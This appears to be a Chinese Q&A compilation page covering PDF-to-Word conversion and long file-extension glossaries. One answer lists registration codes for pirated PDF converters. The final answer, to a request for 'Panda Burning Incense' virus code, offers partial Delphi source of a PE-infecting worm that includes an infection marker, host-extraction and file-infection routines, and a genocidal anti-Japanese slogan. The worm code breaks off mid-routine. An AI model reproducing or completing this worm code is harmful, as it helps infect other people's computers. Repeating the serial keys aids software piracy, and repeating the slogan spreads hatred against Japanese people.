2022-11-29 13:10:43
怎样把pdf文件变成doc文件

好多网友都问过pdf转换为doc(word文件)的问题,本人经过尝试发现可以利用office 2003中的microsoft office document imaging组件来实现这一要求最为方便。第一步:先用adobe reader打开想转换的pdf文件,接下来选择“文件→打印”菜单,在打开的“打印”窗口中将“打印机”栏中的“名称”设置为“microsoft office document image writer”,确认后将该pdf文件输出为mdi格式的虚拟打印文件。
注:如果没有找到“microsoft office document image writer”项,使用office 2003安装光盘中的“添加/删除组件”更新安装该组件,选中 office 工具 microsoft draw转换器。
第二步:运行microsoft office document imaging,并利用它来打开刚才保存的mdi文件,选择“工具→将文本发送到word”菜单,在弹出的窗口中选中“在输出时保持图片版式不变”,确认后系统会提示“必须在执行此操作前重新运行ocr。这可能需要一些时间”,不管它,确认即可。
注:对pdf转doc的识别率不是特别完美,转换后会丢失原来的排版格式,所以转换后还需要手工对其进行排版和校对工作。
以上仅在word2003中试过,其它版本还不是很清楚,可以自己试一下。
参考资料:
http://www.chinaocr.net/show_hdr.php?xname=tvkuiv0&dname=cjq0jv0&xpos=52
你用这个软件试试
easy pdf to word converter v2.03 汉化版
注册码在软件包中
http://www.crsky.com/soft/4654.html
.pdf2txt pro v3.1 汉化版
注册码: 71c5i$$@gqtkxo29
http://www.crsky.com/soft/1237.html
3.pdf2word v1.60 汉化版
注册邮箱名:crsky@163.com
注册码:21$$6#1893013798
http://www.crsky.com/soft/2955.html
以上均含注册码,请在下载页仔细寻找注册码
img的扩展名用什么来打开,这个视频文件

dll动态连接库文件,一般都是被调用的,而且是编译过的,所以常规方法是打不开的。
ocx文件好象是windows的控件,具体什么作用不清楚,象是很深入系统内核。
dat文件一般是二进制文件,一般用来存储数据的,无法独立使用,针对各种程序有不同的作用。
emt文件不清楚
附
常见文件扩展名和它们的说明
a
ace:ace压缩档案格式
act:microsoft office助手文件
aif,aiff:音频互交换文件,silicon graphic and macintosh应用程序的声音格式
ani:windows系统中的动画光标
arc:lh arc的压缩档案文件
arj:robert jung arj压缩包文件
asd:microsoft word的自动保存文件;microsoft高级流媒体格式(microsoft advanced streaming
format,asf)的描述文件;可用nsrex打开 velvet studio例子文件
asf:microsoft高级流媒体格式文件
asm:汇编语言源文件,pro/e装配文件
asp:动态网页文件;procomm plus安装与连接脚本文件;astound介绍文件
ast:astound多媒体文件;clarisworks“助手”文件
axx:arj压缩文件的分包序号文件,用于将一个大文件压至几个小的压缩包中(xx取01-99的数字)
a3l:authorware 3.x库文件
a4l:authorware 4.x库文件
a5l:authorware 5.x库文件
a3m,a4m:authorware macintosh未打包文件
a3w,a4w,a5w:未打包的authorware windows文件
b
bak:备份文件
bas:basic源文件
bat:批处理文件
bin:二进制文件
binhex:苹果的一种编码格式
bmp:windows或os/2位图文件
book:adobe framemaker book文件
box:lotus notes的邮箱文件
bpl:borlard delph 4打包库
bsp:quake图形文件
bun:cakewalk 声音捆绑文件(一种midi程序)
c
c0l:台风波形文件
cab:microsoft压缩档案文件
cad:softdek的drafix cad文件
cam:casio照相机格式
cap:压缩音乐文件格式
cas:逗号分开的ascⅡ文件
ccb:visual basic动态按钮配置文件
cch:corel图表文件
cco:cyberchat数据文件
cct:macromedia director shockwave投影
cda:cd音频轨道
cdf:microsoft频道定义格式文件
cdi:philip的高密盘交互格式
cdm:visual dbase自定义数据模块文件
cdr:coreldraw绘图文件;原始音频cd数据文件
cdt:coreldraw模板
cdx:coreldraw压缩绘图文件;microsoft visual foxpro索引文件
cfg:配置文件
cgi:公共网关接口脚本文件
cgm:计算机图形元文件
ch:os/2配置文件
chk:由windows磁盘碎片整理器或磁盘扫描保存的文件碎片
chm:编译过的html文件
chp:ventura publisher章节文件
chr:字符集(字体文件)
cht:chartviem文件;harvard graphics矢量文件
cif:adaptec cd 创建器 cd映像文件
cil:clip gallery下载包
cim:simcity 2000文件
cin:os/2改变控制文件用于跟踪ini文件中的变化
class:java类文件
clp:windows 剪贴板文件
cll:crick software clicker文件
cls:visual basic类文件
cmd:windows nt,os/2的命令文件;dos cd/m命令文件;dbaseⅡ程序文件
cpi:microsoft ms-dos代码页信息文件
cpl:控制面板扩展名,corel颜色板
cpp:c++代码文件
cpr:corel提供说明书文件
cpt:corel 照片-绘画图像
cst:macromedia director cast文件
cur:windows光标文件
d
dbf:dbase文件,一种由ashton-tate创建的格式,可以被act!、lipper、foxpro、arago、wordtech、xbase和类似数据库或与数据库有关产品识别;可用数据文件(能被excel
97打开);oracle 8.1.x表格空间文件
dbx:databearn图像;microsoft visual foxpro表格文件
dct:microsoft visual foxpro数据库容器
dcu:delphi编译单元文件
dcx:microsoft visual foxpro数据库容器;基于pcx的传真图像;宏
dir:macromediadirector文件
dll:动态链接库
doc:framemaker或framebuilder文档;word star文档、word
perfect文档、microsoft:word文档;displaywrite文档
dot:microsoft word文档模板
dpl:borland delph 3压缩库
drv:驱动程序
drw:micrografx designer/draw;pro/e绘画文件
dsf:micrografx designer vfx文件
dsg:doom保存的文件
dsm:dynamic studio音乐模块(mod)文件
dsp:microsoft developer studio工程文件
dsq:corel query(查询)文件
dst:刺绣机图形文件
dsw:microsoft developer studio工作区文件
dta:world bank(世界银行)的stars数据文件
dtd:sgml文档类型定义(dtd)文件
dted:地面高度数字数据(图形的数据格式)文件
dtf:symantec q&a相关的数据库数据文件
dtm:digitrakker模块文件
dun:microsoft拔号网络导出文件
dv:数字视频文件(mime)
dwg:autocad工程图文件;autocad或generic cadd老版本的绘图格式
dxr:macromedia director受保护(不可编辑)电影文件
e
eda:ensoniq asr磁盘映像
edd:元素定义文档(framemaker+sgml文档)
ede:ensoniq eps磁盘映像
edk:ensoniq kt磁盘映像
edq:ensoniq sq1/sq2/ks32磁盘映像
eds:ensoniq sq80磁盘映像
edv:ensoniq vfx-sd磁盘映像
efa:ensoniq asr文件
efe:ensoniq eps文件
efk:ensoniq kt文件
efq:ensoniq sq1/sq2/ks32文件
efs:ensoniq sq80文件
efv:ensoniq vfx-sd文件
emd:abt扩展模块
emf:windows增强元文件
eml:microsoft outlook express邮件消息(mime rtc822)文件
exe:可执行文件(程序)
f
fav:microsoft outlook导航条
fax:传真类型图像
fcd:虚拟cd-rom
fdf:adobe acrobat表单文档文件
fla:macromedia flash电影
fnd:microsoft explorer保存的搜索文件(find applet)
fon:系统字体
frt:microsoft foxpro报表文件
frx:visual basic表单文本;microsoft foxpro报表文件
fxp:经microsoft foxpro编译的源文件
g
gdm:铃声、口哨声和声音板模块格式
getright:getright未完成的下载文件
gho:norton 克隆磁盘映像
gid:windows 95全局索引文件(包括帮助状态)
gif:compuserve位图文件
gl:动画格式
grp:程序管理组
h
hex:macintosh binhex2.0文件
hlp:帮助文件;date cad windows帮助文件
hpp:c++程序头文件
hqx:macintosh binhex 4.0文件
ht:hyperterminal(超级终端)
htm,html:超文本文档
htt:microsoft超文本模板
htx:扩展html模板
i
ico:windows图标
idx:microsoft foxpro相关数据库索引文件;symantec q&a相关数据库索引文件;microsoft outlook
express文件
img:gem映像
inf:信息文件
ini:初始化文件;mwave dsp synth的“nwsynth.ini” gms安装;cravis ultrasound bank安装
inp:oracle 3.0版或早期版本的表单源代码
inrs:inrs远程通信声频
ins:installshield安装脚本;x-internet签字文件;ensoniq eps字簇设备;cell/Ⅱmac/pc抽样设备
int:中间代码,当一个源程序经过语法检查后编译产生一个可执行代码
iof:findit文档
iqy:microsoft internet查询文件
iso:根据isd 9660有关cd-rom文件系统标准列出cd-rom上的文件
isp:x-internet签字文件
ist:数字跟踪设备文件
isu:installshield卸装脚本
it:脉冲跟踪系统音乐模块(mod)文件
iti:脉冲跟踪系统设备
its:脉冲跟踪系统抽样,internet文档位置
iv:open inventor中使用的文件格式
ivd:超过20/20微观数据维数或变量等级文件
ivp:超过20/20的用户子集配置文件
ivt:超过20/20表或集合数据文件
ivx:超过20/20微数据目录文件
iw:idlewild屏幕保护程序
iwc:install watch文档
j
j62:ricoh照相机格式
jar:java档案文件(一种用于applet和相关文件的压缩文件)
java:java源文件
jar:java档案文件(一种用于applet和相关文件的压缩文件)
java:java源文件
jff,jfif,jif:jpeg文件
jpe,jpeg,jpg:jpeg图形文件
js:javascript源文件
jsp:html网页,其中包含有对一个java servlet的参考
k
kar:卡拉ok midi文件(文本+midi)
l
lab:visual dbase标签文件
lbt,lbx:microsoft foxpro标签文件
ldb:microsoft access加锁文件
lha:lzh更换文件后缀
log:日志文件
lzh:lh arc压缩档案
m
m1v:mpeg相关文件(mime"mpeg"类型)
m3d:corel motion 3d动画文件
m3u:mpeg url(mime声音文件)
mam:microsoft access宏
maq:microsoft access查询文件
mar:microsoft access报表文件
mbx:microsoft outlook保存email格式;eudora邮箱
mcw:microsoft word的macintosh文档
mdb:microsoft access数据库
mdn:microsoft access空数据库模板
mdw:microsoft access工作组文件
mid:midi音乐
mmm:microsoft多媒体电影
mov:quicktime for windows电影
mp2:第二层mpeg音频文件
mp3:第三层mpeg音频文件
mpa:mpeg相关文件,mime“mpeg类型”
mpe,mpeg,mpg:mpeg动画文件
mpp:microsoft工程文件;cad绘图文件格式
mpr:microsoft foxpro菜单(已编译)
msi:windows 安装器包
msn:microsoft 网络文档;descent mission文件
o
obd:microsoft office活页夹
obj:对象文件
obz:microsoft office活页夹向导
ocx:microsoft对象链接与嵌入定制控件
ods:microsoft outlook express邮箱文件
oft:microsoft outlook模板
opx:opl扩展dll(动态链接库)
oss:microsoft office查找文件
ost:microsoft exchange / outlook 离线文件
p
pal:压缩文件
part:go!zilla部分下载文件
pas:pascal源代码
pcs:pics动画文件
pdf:adobe acrobat
可导出文档格式文件(可用web浏览器显示);microsoft系统管理服务器包定义文件;netware打印机定义文件
php,php3:包含有php脚本的html网页
phtml:包含有php脚本的html网页;由perl分析解释的html
pm5:pagemaker 5.0文件
pm6:pagemaker 6.0文件
pps:microsoft powerpoint幻灯片放映
ppt:microsoft powerpoint演示文稿
prf:windows系统文件,macromedia导演设置文件
psd:adobe photoshop位图文件
psm:protracker studio模型格式;epic游戏的源数据文件
pst:microsoft outlook个人文件夹文件
pwl:windows 95口令列表文件
q
qif:quicktime相关图像(mime);quicken导入文件
qt,qtm:quicktime电影
qti,qtif:quicktime相关图像
qtp:quicktime优先文件
qts:mac pict图像文件;quicktime相关图像
qtx:quicktime相关图像
r
ra:realaudio声音文件
ram:realaudio元文件
rar:rar压缩档案(eugene roshall格式)
rec:录音机宏;rapidcomm声音文件
reg:注册表文件
rep:visual dbase报表文件
res:microsoft visual c++资源文件
rm:realaudio视频文件
rmf:rich map格式(3d游戏编辑器使用它来保存图)
rom:基于盒式磁带的家庭游戏仿真器文件(来自atari
2600、colecovision、sega、nintendo等盒式磁带里的rom完全拷贝,在两个仿真器之间不可互修改)
rxx:多卷档案上的rar压缩文件(xx=1~99间的一个数字)
s
sav:游戏保存文件
sb:原始带符号字节(8位)数据
sbk:creative labs的soundfont 1.0 bank文件;(soundb laster)/emu sonndfont v1.x
bank文件
sbl:shockwave flash对象文件
scf:windows explorer命令文件
sch:microsoft schedule+1
scp:拨号网络脚本文件
scr:windows屏幕保护;传真图像;脚本文件
sfx:rar自解压档案
shtml:含有服务器端包括(ssi)的html文件
spl:shockwave flash对象;digitrakker抽样
sql:informix sql查询;通常被数据库产品用于sql查询(脚本、文本、二进制)的文件扩展名
stm:.shtml的短后缀形式,含有一个服务端包括(ssi)的html文件;scream tracker v2音乐模块(mod)文件
str:屏幕保护文件
swa:在macromedia导演文件(mp3文件)中的shockwave声音文件
swf:shockwave flash对象
sys:系统文件
t
t64:commodore 64仿真器磁带映像文件
theme:windows 95桌面主题文件
tif,tiff:标签图像文件格式(tiff)位图
tmp:windows临时文件
trm:终端文件
txt:ascⅡ文本格式的声音数据
tz:老的压缩格式文件
v
vba:vbase文件
vbp:microsoft visual basic工程文件
vbw:microsoft visual basic工作区文件
vbx:microsoft visual basic用户定制控件
vqe,vql:yamaha sound-vq定位器文件
vqf:yamaha sound-vq文件(可能出现标准)
vrf:oracle 7配置文件
vsl:下载列表文件(getright)
w
wab:microsoft outlook文件
wad:包含有视频、玩家水平和其他信息的doom游戏的大文件
wal:quake 2正文文件
wav:windows波形声形
wbk:microsoft word备份文件
wfm:visual dbase windows表单
wfn:在coreldraw中使用的符号
wiz:microsoft word向导
wrl:虚拟现实模型
wwl:microsoft word内插器文件
x
xlk:microsoft excel备份
xll:microsoft excel内插器文件
xlm:microsoft excel宏
xls:microsoft excel工作单
xlt:microsoft excel模板
xlv:microsoft excel vba模块
xlw:microsoft excel工作簿/工作区
z
zap:windows软件安装配置文件
zip:zip文件
000-999:用于为老版本(或备份)文件编号(比如:被安装程序改变的config.sys文件);又可用于为小范围的pc应用程序的多个用户相关数据文件编号
12m:lotus 1-2-3 97 smartmaster文件
123:lotus 1-2-3 97文件
2d:versacad的2维绘画文件
2gr,3gr:在windows之下的vga图形驱动程序/配置文件
386:在386或更高级处理器上使用的文件
3d:versacad的3维绘画文件
3dm:3d nurbs建模器,rhino
3ds:3d studio(dos下)格式文件
386:在386或更高级处理器上使用的文件
4ge:informix 4gl编译后代码
4gl:informix 4gl源代码
669:composer 669;unix composer音乐模型文件;669磁道模块
#01 及更高的号:为计算机演示而扫描的一系列电影的图片文件编号方法
$$$:os/2用来跟踪档案文件
@@@:用于安装过程中的屏幕文件和用于microsoft code view for c这样的应用程序的指导文件
音频文件都有哪些后缀名?

acm 音频压缩管理驱动程序,为windows系统提供各种声音格式的编码和解码功能
aif 声音文件,支持压缩,可以使用windowsmediaplayer和quicktimeplayer播放
aif 音频文件,使用windowsmediaplayer播放
aifc 音频文件,使用windowsmediaplayer播放
aiff 音频文件,使用windowsmediaplayer播放
asf 微软的媒体播放器支持的视频流,可以使用windowsmediaplayer播放
asp 微软的视频流文件,可以使用windowsmediaplayer打开
asx windowsmedia媒体文件的快捷方式
au 是internet中常用的声音文件格式,多由sun工作站创建,可使用软件waveformholdandmodify播放。netscapenavigator中的liveaudio
也可以播放.au文件
avi 一种使用microsoftriff规范的windows多媒体文件格式,用于存储声音和移动的图片
如果你想知道更多
后缀名也称扩展名,就是文件名中的那个“.”后面的字符,在dos下(fat16)文件名规定为11个字符,即8.3格式,也就是文件名长度为8字符(英文),扩展名长度为3字符,在windows系统中文件名长度及扩展名则不作规定,由于windows中允许使用“.”作为文件名字符,所以在最后一个“.”后面的字符串才是文件的真正扩展名。windows和dos把扩展名作为识别文件类型的重要依据.
常见的文件后缀名:
aca microsoft的代理使用的角色文档
acf 系统管理配置
acm 音频压缩管理驱动程序,为windows系统提供各种声音格式的编码和解码功能
aif 声音文件,支持压缩,可以使用windowsmediaplayer和quicktimeplayer播放
aif 音频文件,使用windowsmediaplayer播放
aifc 音频文件,使用windowsmediaplayer播放
aiff 音频文件,使用windowsmediaplayer播放
ani 动画光标文件扩展名,例如动画沙漏。
ans ascii字符图形动画文件
arc 一种较早的压缩文件,可以使用winzip,winrar,pkarc等软件打开
arj 压缩文件。可以使用winzip,winrar,pkarc等软件打开
asf 微软的媒体播放器支持的视频流,可以使用windowsmediaplayer播放
asp 微软的视频流文件,可以使用windowsmediaplayer打开
asp 微软提出的activeserverpage,是服务器端脚本,常用于大型网站开发,支持数据库连接,类似php。可以使用visualinterdev编写,是
目前的大热门
asx windowsmedia媒体文件的快捷方式
au 是internet中常用的声音文件格式,多由sun工作站创建,可使用软件waveformholdandmodify播放。netscapenavigator中的liveaudio
也可以播放.au文件
avi 一种使用microsoftriff规范的windows多媒体文件格式,用于存储声音和移动的图片
bak 备份文件,一般是被自动或是通过命令创建的辅助文件,它包含某个文件的最近一个版本,并且具有于该文件相同的文件名
bas basic语言源程序文件,可编译成可执行文件,目前使用basic开发系统的是visualbasic
bat 批处理文件,在ms-dos中,.bat文件是可执行文件,有一系列命令构成,其中可以包含对其他程序的调用
bbs 电子告示板系统文章信息文件
bfc windows的公文包文件
bin 二进制文件,其用途依系统或应用而定
bmp bitmap位图文件,这是微软公司开发paint的自身格式,可以被多种windows和windowsnt平台及许多应用程序支持,支持32位颜色,用
于为windows界面创建图标的资源文件格式。
c c语言源程序文件,在c语言编译程序下编译使用
cab microsoft制订的压缩包格式,常用于软件的安装程序,使用windows自带的实用程序,extract.exe可以对其解压缩,winzip,winrar等
都支持这种格式
cal windows中的日历文件
cdf internetexplorer的频道文件
cdr coreldraw中的一种图形文件格式,它是所有coreldraw应用程序中均能够使用的一种图形图像文件格式
cdx 索引文件,存在于dbase,foxbase,foxpro系统软件环境下
cfc 配置文件,系统或应用软件用于进行配置自己功能,特性的文件
chm 编译过后的html文件,常用于制作帮助文件和电子文档
clp 在windows下剪贴板中的文件格式
cmd 用于windowsnt/2000的批处理文件,其实与bat文件功能相同,只是为了与dos/windows9x下的bat有所区别
cmf 声卡标准的音乐文件,fm合成器等可以回放
cnf netmeetting会议连接文件
cnt 联机帮助文件目录索引文件,通常和同名的.hlp文件一起保存
col 由autodeskanimator,autodeskanimatorpor等程序创建的一种调色板文件格式,其中存储的是调色板中各种项目的rgb值
com dos可执行命令文件,一般小于64kb
cpl 控制面板扩展文件,windows操作系统使用
cpp c++语言源程序,非常强大的语言,在各种平台中都有相应的开发系统
crd windows中的卡片文件
crt 用于安全方面的证书认证文件
cur windows下的光标资源文件格式,可用光标编辑软件编辑
css text/css文件
dat 数据文件,在应用程序中使用
dat vcd中的图象声音文件,vcd播放软件可调用,或是通过vcd机播放
dbf 数据库文件,foxbase,dbase,visualfoxpro,等数据库处理系统所产生的数据库文件
dcx 传真浏览文档文件
ddi 映象文件,dup,hd,img等工具可展开
dev 设备驱动程序
dib 设备无关位图文件,这是一种文件格式,其目的是为了保证用某个应用程序创建的位图图形可以被其它应用程序装载或显示一样
dir 目录文件
dll windows动态连接库,几乎无处不在,但有时由于不同版本dll冲突会造成败各种各样的问踢
doc 是目前市场占有率最高的办公室软件microsoftoffice中的字处理软件word创建的文档
dos windows保留的ms-dos的某些系统文件
dot microsoftword的文档模板文件,通过模板可以简化一些常用格式文档的创建工作,而且可以内嵌vba程序来实现某些自动化功能
drv 设备驱动程序文件,用在各种系统中
dwg autocad的图纸文件,也是许多绘图软件都支持的格式,常用于共享数据
dxb autocad创建的一中图形文件格式
dxf 图形交换格式,一种计算机辅助设计的文件格式,最初开发用来与autocad一起使用,以便于图形文件在应用程序之间的传递,它以asci
i方式储存图形,在表现图形的大小方面十分精确
der certiticate文件
dic txt文件
emf 由microsoft公司开发的windows32位扩展图元文件格式,其总体设计目标是要弥补在microsoftwindows3.1(win16)中用的*.wmf文件格
式的不足,使得图元文件更加易于使用
eps 用postscript语言描述的一种图形文件格式,以文本文件保存,在postscript图形打印机上能打印出高品质的图形图象,最高能表示32
位图形图象
err 编译错误文件,存在于dbase,foxbase,foxpro系列软件环境下
exe 可执行文件,虽然后缀名相同,但具有不同的格式和版本
exp 3ds使用的显示卡驱动程序
exc txt文件
flc autodeskanimator和animatorpro的动画文件,支持256色,最大的图象象索是64000*64000,支持压缩,广泛用于动画图形中的动画序列
,计算机辅助设计和计算机游戏应用程序
fnd 保存的搜索结果
fon 点阵字库文件
for fortran语言程序
fot 指向字体的快捷键
fp 配置文件,存在于dbase,foxbase,foxpro系列软件的环境下
fpt 备注字段文件,存在于dbase,foxbase,foxpro系列软件的环境下
frt 报表文件,存在于dbase,foxbase,foxpro系列软件的环境下
frx 报表文件,存在于dbase,foxbase,foxpro系列软件的环境下
fxp 编译后的程序,存在于dbase,foxbase,foxpro系列软件的环境下
gif 在各种平台的各种图形处理软件上均能够处理的,经过压缩的一种图形文件格式
grh 方正公司的图象排版文件
grp windows下的程序管理器产生的组窗口文件
goc gocserve
gra msgraph.chart.5
h c语言源程序头文件
hlp windows应用程序帮助文件
hqx macintosh中使用binhex将二进制文件编码为7位的文本文件,大多数macintosh文件皆以.hqx出现(.bin极少使用),在macintosh中,可
使用stuffitexpander对.hqx解码,在windows中可使用binhex13解码
ht 超级终端
htm 保存超文本描述语言的文本文件,用于描述各种各样的网页,使用各种浏览器打开
html 同.htm文件
icm 图象配色描述文件
ico windows中的图标文件,可以包含同一个图标的多种格式,使用图标编辑软件创建
idf midi乐器定义
idx 索引文件,存在于dbase,foxbase,foxpro系列软件的环境下
iff 文件交换格式文件,这种文件格式多用于amiga平台,在这种平台上它几乎可以存储各种类型的数据,在其它平台上,iff文件格式多用
于存储图象和声音文件
image macintosh磁盘映象文件,常见于萍果机的ftp网点,在macintosh中由shrinkwrap处理
ime windows下的输入法文件
img 磁盘映象文件,用hd-copy,winimage等工具打开后可以恢复到一张磁盘上
inc 汇编语言包含文件,类似c/c++中的.h文件
inf windows下的软件安装信息,windows的标准安装程序根据此文件内的安装信息对软件,驱动程序等进行安装
ini windows中的初始化信息文件,已经用的不多了,新的应用程序将设置保存在系统的注册表中
jar 一种压缩文件,arj的新版本,不过不太流行,可以使用winjar,winrar等打开
jpeg 一种图片压缩文件,同.jpg
jpg 静态图象专家组制订的静态图象压缩标准,具有很高的压缩比,使用非常广泛,可使用photoshop等图象处理软件创建
lnk 快捷方式,这个文件指向另一个文件,开始菜单的程序文件夹下每条项目都是一个lnk文件
log 日志文件,通常用来记录一些事件之类
lzh 一种古老的压缩文件,可以使用winrar打开
mac macintosh中使用的一中灰度图形文件格式,在macintoshpaintbrush中使用,其分辨率只能是720*567
mag 图形文件格式
mdb microsoftaccess使用的数据库格式,是非常流行的桌面数据库
men 内存应用文件,存在于dbase,foxbase,foxpro系列软件的环境下
mid 音频压缩文件,曾经非常流行,不过在现在的软件中用的很少了
mif midi乐器
mov 使用apple'squicktime格式的电影文件,在macintosh中由sparkle,fastplayer,movieplayer等软件播放,在windows中可由quicktime
播放
movie quicktime或苹果机的影视格式,在macintosh中由sparkle,fastplayer,movieplayer等软件播放,在windows中可由quicktime播放
mp3 采用mpeg-1layout3标准压缩的音频文件,是网上主要的压缩音频文件,这种文件由于具有极高的压缩率和失真低的特点,是目前音乐
盗版的主要文件格式,但目前受到vqf,wma等新标准的挑战
mpg 采用mpeg-1标准压缩的视频文件,与vcd使用的格式非常相近,提供cd质量的音频信号和320*240的视频分辩率,目前的媒体播放软件大
都能播放,microsoft的wmv8和mpeg-4压缩的avi文件是其强大的竞争对手
mpt macintosh中使用的一种图形文件格式
msg microsoft邮件文档
obj 对象代码
ovl 由于软件功能多,内存偏小,不能一次性全部调入内存的可执行文件可能有同文件名的ovl文件
pcd 位图文件,由eastmankodak开发,被所有的平台所支持,pcd支持24位颜色,最大的图象像索是2048*3072,用于在cd-rom上保存图片
pcs 动画文件,是macromedia开发的动画文件格式,为macintosh应用程序使用,支持压缩,支持256色,用于保存动画数据,是quicktime的
前身
pcx 图像文件,pcx格式是zsoft公司在开发图像处理软件paintbrush是开发的一种格式,这是一种经过压缩的格式,占用磁盘空间较少
pdf 图文多媒体文件,adobe公司定义的电子印刷品文件格式,它是一种事实上的标准,在internet网上的很多电子印刷品,都是.pdf格式
的
psd 是photoshop中使用的一种标准图形文件格式,能够保存图像数据的每一个细小部分,包括层,附加的蒙版通道以及其他内容
pwl windows下的口令文件
qt machintosh的quicktime影视格式,在macintosh中由sparkle,fastplayer,movieplayer等软件播放,在windows中可由quicktime播放
qtm 动画文件,这种文件格式是由apple计算机公司开发,被applemacintosh和microsoftwindows平台所支持,支持25位颜色,最大图像分
辩率是64000*64000,支持压缩,用于保存音频和运动视频信息
rec windows下的记录器宏文件
reg windows95/98的系统及应用程序注册文件,这种文件虽然以纯文本文件保存,但一样存在版本问题,不同的操作系统使用的reg文件版
本是不同的
rle 一种压缩过的位图文件格式,rle压缩方案是一种极其成熟的压缩方案,特点是无损失压缩,既节省了磁盘空间又不损失任何图像数据
,但在打开这种压缩文件时,要花费更多时间,此外,一些兼容性不太好的应用程序可能会搭不开
rm windows下的realplayer所支持的视频压缩文件,网上非常流行的流式视频文件,很多实时视频新闻等都是采用这种格式的,不过,最新
的windowsmediavideov8已经对其发起了强大的攻势
rmi midi音序文件
rtf 丰富文本格式文件,以纯文本描述内容,能够保存各种格式信息,可以用写字版,word等创建
sav 存档文件
scp 用于windows系统中internet拨号用户,自动拨号登录用的脚本文件,可避免手动登录时繁琐的键盘输入
scr 屏障保护文件
sct 屏幕文件
scx 屏幕文件
set microsoft备份集文件,用于保存要备份的内容,设置等信息
shb 指向一个文档的快捷方式
snd mac声音文件,apple计算机公司开发的声音文件格式,被macintosh平台和多种macintosh应用程序所支持,支持某些压缩
sql 查询文件,在dbase,foxbase,foxpro系列软件的环境下使用
svg svg可以算是目前最火热的图像文件格式了,它是基于xml由worldwidewebconsortium联盟开发的,svg是可缩放的矢量图形
svx amiga声音文件,commodore所开发的声音文件格式,被amiga平台和应用程序所支持,不支持压缩
swf flash是micromedia公司的产品,严格说它是一种动画编辑软件,实际上它是制作出一种后缀名为.swf的动画,这种格式的动画能用比
较小的体积来表现丰富的多媒体形式,并且还可以与html文件达到一种"水乳交融"的境界
swg 虚拟内存交换文件,由操作系统使用
sys 系统文件,驱动程序等,在不同的操作系统中有不同的定义
tbk 临时数据库文件,在dbase,foxbase,foxpro系列软件的环境下使用
tga 图像文件,此文件格式的结构比较简单,属于一种图形,图像数据的通用格式,在多媒体领域有着很大影响,是计算机生成图像向电视
转换的一种首选格式
tiff 图像文件,此图像格式复杂,存储内容多,占用存储空间大,其大小是gif图像的3倍,是相应的jpeg图像的10倍,最早流行于macinto
sh,现在windows主流的图像应用程序都支持此格式
tmp 临时文件,一般是系统和应用程序产生的临时使用的文件,当系统和应用程序退出时,会自动地删除其建立的临时文件,如果是非正常
退出,临时文件可能保留在磁盘上,在单任务系统下,可立即删除它们,在多任务系统下,应删除那些不是正在使用的临时文件
txt 文本文件
url internetshortcut(internet上url地址的快捷方式)
vcd 虚拟光驱工具制作的光盘镜像文件
ver 版本描述,用于描述某个软件的版本信息的文件,内容因软件而异
voc 声音文件,此文件格式由creativelabs公司开发,被windows和dos平台所支持,支持压缩
vxd 虚拟设备驱动程序,在windows操作系统中非常常见,是重要的系统文件
wab 通信簿文件,由系统中的通信簿程序使用
wav 音频文件,此文件格式是在windows上用于保存音频信息的资源格式,windows中由waveformholdandmodify或navigator,或"媒体播放
机"播放,存在许多编码方式,需要相应的解码程序才能播放
win 窗口文件,在dbase,foxbase,foxpro系列软件的环境下使用
wmf microsoftwindows中常见的一种图元文件格式,它具有文件短小,图案造型化的特点,整个图形常由各个独立的组成部分拼接而成,但
其图形往往较粗糙,并且只能在microsoftoffice中调用编辑
wpc 写字板文档转换
wps wps文本文件,有多种版本,可以使用wpsoffice,wps2000等打开
wri windows写字板文档
xab microsoft邮件地址簿
xbm animatorpro创建的一种图形文件格式,其中包含用来描述多边形的一系列点的信息
zip 是dos/windows中最常见文件压缩格式,也是互联网上的标准压缩格式,可以包含路径和多个文件
参考资料:
http://www.enet.com.cn/article/2004/1025/a20041025355359_5.shtml
谁有熊猫烧香的病毒代码?

这是部分代码!
program japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const
headersize = 82432; //病毒体的大小
iconoffset = $12eb8; //pe文件主图标的偏移量
//在delphi5 sp1上面编译得到的大小,其它版本的delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
headersize = 38912; //upx压缩过病毒体的大小
iconoffset = $92bc; //upx压缩过pe文件主图标的偏移量
//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize = $2e8; //pe文件主图标的大小--744字节
icontail = iconoffset + iconsize; //pe文件主图标的尾部
id = $44444444; //感染标记
//垃圾码,以备写入
catchword = 'if a race need to be killed out, it must be yamato. ' +
'if a country need to be destroyed, it must be japan! ' +
'*** w32.japussy.worm.a ***';
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函数声明
var
tmpfile: string;
si: startupinfo;
pi: process_information;
isjap: boolean = false; //日文操作系统标记
{ 判断是否为win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := false;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
result := true;
end;
{ 在流之间复制 }
procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.seek(sstartpos, 0);
dst.seek(dstartpos, 0);
dst.copyfrom(src, count);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0);
end;
{ 将宿主文件从已感染的pe文件中分离出来,以备使用 }
procedure extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
dstream := tfilestream.create(filename, fmcreate);
try
sstream.seek(headersize, 0); //跳过头部的病毒部分
dstream.copyfrom(sstream, sstream.size - headersize);
finally
dstream.free;
end;
finally
sstream.free;
end;
except
end;
end;
{ 填充startupinfo结构 }
procedure fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lpreserved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_useshowwindow;
si.wshowwindow := state;
si.cbreserved2 := 0;
si.lpreserved2 := nil;
end;
{ 发带毒邮件 }
procedure sendmail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染pe文件 }
procedure infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出错则文件正在被使用,退出
if comparetext(filename, 'japussy.exe') = 0 then //是自己则不感染
exit;
infected := false;
ispe := false;
srcstream := tfilestream.create(filename, fmopenread);
try
for i := 0 to $108 do //检查pe文件头
begin
srcstream.seek(i, sofrombeginning);
srcstream.read(buf, 2);
